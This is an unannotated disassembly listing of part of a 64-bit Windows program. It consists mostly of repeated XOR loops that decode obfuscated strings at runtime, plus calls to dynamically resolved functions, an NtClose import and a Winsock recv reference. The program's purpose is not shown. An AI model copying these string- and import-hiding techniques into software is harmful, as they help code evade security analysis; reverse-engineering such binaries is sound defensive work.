mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031d70
cmp byte [rbp + 0x287], 0
jne 0x140031f13
cmp ebx, 2
jl 0x140031ece
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140031f13
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031ee0
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x140031f40
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
lea rdx, [r15 + 0xb0]
lea rcx, [rbp + 0x170]
call fcn.140049030
test al, al
jne 0x1400326d0
mov byte [0x140a05f70], 1
call fcn.14003d3e0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
call rax
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x140031fab
jle 0x140031fa4
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x180], r12
lea rcx, [rbp + 0x170]
call fcn.1400498c0
movups xmm0, xmmword [0x140994ee0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140994ef0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140994f00]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140994f10]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140994f20]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140994f30]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140994f38]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x1400321a3
cmp ebx, 2
jl 0x14003215a
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x1400321a3
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032170
cmp byte [rbp + 0xfb], 0
je 0x140032353
mov r8d, r12d
cmp ebx, 2
jl 0x14003230f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032200
cmp r8d, 0x5c
jge 0x140032353
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140032320
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x140032523
mov r8d, r12d
cmp ebx, 2
jl 0x1400324df
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400323d0
cmp r8d, 0x5c
jge 0x140032523
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400324f0
cmp byte [rbp + 0x287], 0
jne 0x140032693
cmp ebx, 2
jl 0x14003264e
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140032693
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032660
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x1400326c0
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x1400326eb
jle 0x1400326e4
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x180], r12
lea rcx, [rbp + 0x170]
call fcn.1400498c0
test al, al
jne 0x140032e44
mov byte [0x140a05f70], 1
call fcn.14003d3e0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
call rax
movups xmm0, xmmword [0x1409944b0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1409944c0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x1409944d0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1409944e0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1409944f0]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140994500]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140994508]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r11, rax
cmp byte [rbp + 0x287], 0
je 0x140032913
cmp ebx, 2
jl 0x1400328c7
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140032913
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400328e0
cmp byte [rbp + 0xfb], 0
je 0x140032ac3
mov r8d, r12d
cmp ebx, 2
jl 0x140032a7f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032970
cmp r8d, 0x5c
jge 0x140032ac3
movsxd rax, r8d
lea r10, [rbp + 0xa0]
add r10, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x5c
jl 0x140032a90
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r11
cmp byte [rbp + 0xfb], 0
jne 0x140032c93
mov r8d, r12d
cmp ebx, 2
jl 0x140032c4f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140032b40
cmp r8d, 0x5c
jge 0x140032c93
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140032c60
cmp byte [rbp + 0x287], 0
jne 0x140032e03
cmp ebx, 2
jl 0x140032dbe
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140032e03
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032dd0
call fcn.140039cf0
mov rbx, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x140032e34
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rbx
call fcn.14003d3e0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
call rax
nop
mov byte [rbp + 0x100], 0
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140038e00
nop
lea rax, [rbp + 0x230]
mov qword [rbp + 0x280], rax
mov byte [rbp + 0x230], 0
xor eax, eax
mov qword [rbp + 0x238], rax
lea rdx, [r15 + 0x188]
lea rcx, [rbp + 0x230]
call fcn.140046680
nop
lea r9, [rbp + 0x2b5]
mov r8d, 0xbf396750
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140032ec0
lea r8, [rbp + 0x2b5]
mov rdx, r9
lea rcx, [rbp + 0x80]
call fcn.140041a10
nop
movzx eax, byte [rbp + 0x100]
test al, al
jne 0x140032f2e
mov byte [rbp + 0x100], 1
call fcn.14003da30
mov rcx, rax
mov qword [rbp + 0x108], rax
movzx eax, byte [rbp + 0x100]
jmp 0x140032f35
mov rcx, qword [rbp + 0x108]
cmp al, 1
jne 0x1400333fd
lea rdx, [rbp + 0x80]
call fcn.140038600
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x230]
mov byte [rax], cl
mov byte [rbp + 0x230], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x238]
mov qword [rax + 8], rdx
mov qword [rbp + 0x238], rcx
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0x238]
call fcn.1400381c0
nop
lea rcx, [rbp + 0x80]
call fcn.140010b20
lea rax, [rbp + 0x230]
mov qword [rbp + 0x2a0], rax
call fcn.1400477f0
test al, al
sete al
mov byte [rbp + 0x230], 4
mov byte [rbp + 0x280], al
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x238], rax
lea r9, [rbp + 0x295]
mov r8d, 0x11667cd9
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140032fd2
lea r8, [rbp + 0x295]
mov rdx, r9
lea rcx, [rbp + 0x80]
call fcn.140041a10
nop
movzx eax, byte [rbp + 0x100]
test al, al
jne 0x140033040
mov byte [rbp + 0x100], 1
call fcn.14003da30
mov rcx, rax
mov qword [rbp + 0x108], rax
movzx eax, byte [rbp + 0x100]
jmp 0x140033047
mov rcx, qword [rbp + 0x108]
cmp al, 1
jne 0x1400333a4
lea rdx, [rbp + 0x80]
call fcn.140038600
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x230]
mov byte [rax], cl
mov byte [rbp + 0x230], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x238]
mov qword [rax + 8], rdx
mov qword [rbp + 0x238], rcx
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0x238]
call fcn.1400381c0
nop
lea rcx, [rbp + 0x80]
call fcn.140010b20
lea rcx, [r15 + 0x260]
cmp qword [r15 + 0x278], 0x10
jb 0x1400330c0
mov rcx, qword [r15 + 0x260]
mov rax, qword [r15 + 0x270]
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x100]
call fcn.140035d80
nop
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400330fa
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], rax
movaps xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x2a0], xmm0
movaps xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x280], xmm1
